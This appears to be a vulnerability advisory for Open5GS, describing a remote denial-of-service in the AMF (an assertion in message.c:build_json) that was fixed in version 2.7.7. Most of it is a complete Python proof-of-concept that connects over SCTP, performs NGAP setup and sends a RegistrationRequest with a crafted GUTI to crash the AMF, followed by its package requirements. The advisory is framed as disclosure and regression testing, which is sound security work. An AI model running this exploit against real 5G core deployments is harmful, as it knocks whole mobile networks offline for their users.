| विवरण | Reachable assertion in message.c:build_json allows remote Denial of Service of AMF
When receiving an InitialUEMessage NGAP message whose NAS PDU contains a RegistrationRequest with a non-zero, non-existent GUTI as the 5GSID, the AMF crashes. This leads to a Denial of Service, since now the whole 5G core is not functional. This issue got fixed in version 2.7.7.
Here is the proof-of-concept for regression testing:
# Copyright 2026 Fraunhofer Gesellschaft, Munich, Germany, for
# its Fraunhofer Institute for Open Communication Systems (FOKUS),
# Berlin, Germany. All rights reserved.
# https://www.fokus.fraunhofer.de/
#
# Author: [email protected]
"""
Proof of Concept script for Open5GS AMF crash via GUTI in RegistrationRequest of InitialUEMessage
"""
from pycrate_asn1dir.NGAP import NGAP_PDU_Descriptions
from pycrate_mobile.NAS import *
from pycrate_mobile.TS24501_IE import FGSIDTYPE
import _sctp
from sctp import *
import json
import pprint
from binascii import hexlify
# Set to True to crash AMF due to PLMN != "000000" or AMFRegionID != 0 or AMFSetID != 0
DO_PLMN_CRASH = True
DO_AMF_REGION_CRASH = False
DO_AMF_SET_CRASH = False
LOG_WIDTH = 130
class AMFCommunication:
def __init__(self, addr, port, name):
self.tcp = None
self.addr = addr
self.port = port
self.name = name
def connect(self):
if self.tcp is not None:
self.close()
if _sctp.getconstant("IPPROTO_SCTP") != 132:
raise(Exception("AMFCommunication: _sctp.getconstant failed"))
tcp = sctpsocket_tcp(socket.AF_INET)
tcp.initparams.max_instreams = 3
tcp.initparams.num_ostreams = 3
tcp.events.clear()
tcp.events.data_io = 1
try:
print(f"AMFCommunication: connect to {self.name} via SCTP at {self.addr}:{self.port}")
tcp.connect( (self.addr, self.port) )
self.tcp = tcp
except:
raise(Exception(f"Connection error"))
def close(self):
if self.tcp is not None:
self.tcp.close()
self.tcp = None
print(LOG_WIDTH*"=")
print("AMFCommunication: closed")
def log_data(self, info: str, data: object):
if isinstance(data, str):
print( f"{60*'-'} {info}: {data}")
else:
print( f"{60*'-'} {info}:")
print( pprint.pformat( data, width=LOG_WIDTH ).replace("'",'"') )
def log_nas(self, msg: bytes):
print(LOG_WIDTH*"=")
print(f"NAS-PDU in hex: {hexlify(msg).decode().upper()}")
data, err = parse_NAS5G(msg)
if err == 0:
data_dict = json.loads(data.to_json() )
self.log_data("NAS-PDU content", json.loads(data.to_json()) )
else:
self.log_data(f"NAS Decode Error", f"{err}" )
def log_ngap(self, msg: bytes):
log_pdu = NGAP_PDU_Descriptions.NGAP_PDU
log_pdu.from_aper(msg)
self.log_data("NGAP message content", log_pdu() )
def send_ngap(self, msg: bytes):
print(LOG_WIDTH*"=")
print(f"AMFCommunication: sending {len(msg)} bytes")
self.log_ngap(msg)
self.tcp.sctp_send( msg )
def recv_ngap(self) -> bytes:
fromaddr, flags, msg_ret, notif = self.tcp.sctp_recv(1000)
print(LOG_WIDTH*"=")
print(f"AMFCommunication: received {len(msg_ret)} bytes, flags {flags}")
if len(msg_ret) == 0:
raise(Exception(f"{self.name} did not answer - Probably crashed"))
self.log_ngap(msg_ret)
return msg_ret
def main():
try:
amf_comm = AMFCommunication("127.0.0.5" , 38412, "AMF")
amf_comm.connect()
pdu = NGAP_PDU_Descriptions.NGAP_PDU
try:
ng_setuprequest = ("initiatingMessage",
{"criticality": "reject", "procedureCode": 21, "value":
("NGSetupRequest",
{"protocolIEs": [
{"criticality": "reject", "id": 27, "value": ("GlobalRANNodeID",
("globalN3IWF-ID", {"n3IWF-ID": ("n3IWF-ID", (1, 16)), "pLMNIdentity": b"\x99\xF9\x07"}))},
{"criticality": "ignore", "id": 82, "value": ("RANNodeName", "TestRan")},
{"criticality": "reject", "id": 102, "value": ("SupportedTAList",
[ {"broadcastPLMNList": [
{"pLMNIdentity": b"\x99\xF9\x07", "tAISliceSupportList": [{"s-NSSAI": {"sST": b"\x01"}}]}
], "tAC": b"\x00\x00\x01"}])},
{"criticality": "ignore", "id": 21, "value": ("PagingDRX", "v256")}
]}
)
}
)
pdu.set_val(ng_setuprequest)
msg_1 = pdu.to_aper()
except Exception as ex:
raise(Exception(f"NGSetupRequest encoding: {ex}"))
# Send NGSetupRequest and receive NGSetupResponse
amf_comm.send_ngap(msg_1)
amf_comm.recv_ngap()
# Create RegistrationRequest NAS-PDU for InitialUEMessage
try:
# Any PLMN value except 000000 or AMFRegionID<>0 or AMFSetID<>0 or will cause an AMF crash
PLMN = "000001" if DO_PLMN_CRASH else "000000"
REGION = 1 if DO_AMF_REGION_CRASH else 0
SETID = 1 if DO_AMF_SET_CRASH else 0
ies = {
"UESecCap": {"5G-EA0": 1, "5G-EA1_128": 1, "5G-EA2_128": 1, "5G-EA3_128": 1, "5G-EA4": 0, "5G-EA5": 0,
"5G-EA6": 0, "5G-EA7": 0, "5G-IA0": 0, "5G-IA1_128": 1, "5G-IA2_128": 1, "5G-IA3_128": 1,
"5G-IA4": 0, "5G-IA5": 0, "5G-IA6": 0, "5G-IA7": 0 },
"5GSID" : {"ind": 15, "spare": 0, "Type": FGSIDTYPE.GUTI, "PLMN": PLMN, "AMFRegionID": REGION, "AMFSetID": SETID, "AMFPtr": 0, "5GTMSI": 0 }
}
nas_rr = FGMMRegistrationRequest(val=ies).to_bytes()
amf_comm.log_nas(nas_rr)
except Exception as ex:
raise(Exception(f"FGMMRegistrationRequest encoding: {ex}"))
try:
initial_ue_message = ("initiatingMessage",
{"criticality": "reject", "procedureCode": 15, "value":
("InitialUEMessage",
{"protocolIEs": [
{"criticality": "reject", "id": 85, "value": ("RAN-UE-NGAP-ID", 26856)},
{"criticality": "reject", "id": 38, "value": ("NAS-PDU", nas_rr)},
{"criticality": "reject", "id": 121, "value": ("UserLocationInformation",
("userLocationInformationNR",
{"nR-CGI": {"nRCellIdentity": (262145, 36), "pLMNIdentity": b"\x99\xF9\x07"},
"tAI": {"pLMNIdentity": b"\x99\xF9\x07", "tAC": b"\x00\x00\x01"}}))},
{"criticality": "ignore", "id": 90, "value": ("RRCEstablishmentCause", "mo-Signalling")}
]}
)
}
)
pdu.set_val(initial_ue_message)
msg_2 = pdu.to_aper()
except Exception as ex:
raise(Exception(f"InitialUEMessage encoding: {ex}"))
# Send InitialUEMEssage and receive DownlinkNASTransport if AMF did not crash
amf_comm.send_ngap(msg_2)
amf_comm.recv_ngap()
amf_comm.close()
print(LOG_WIDTH*"=")
print("All done, no error")
except Exception as ex:
print(int(LOG_WIDTH/2.5)*"^")
print(f" Caught EXCEPTION: {ex}")
if __name__ == "__main__":
main()
This is the requirements.txt for python, which has to be installed before:
abnf
abnf-to-regexp
exrex
pycrate
pysctp
setuptools
cryptography
|
|---|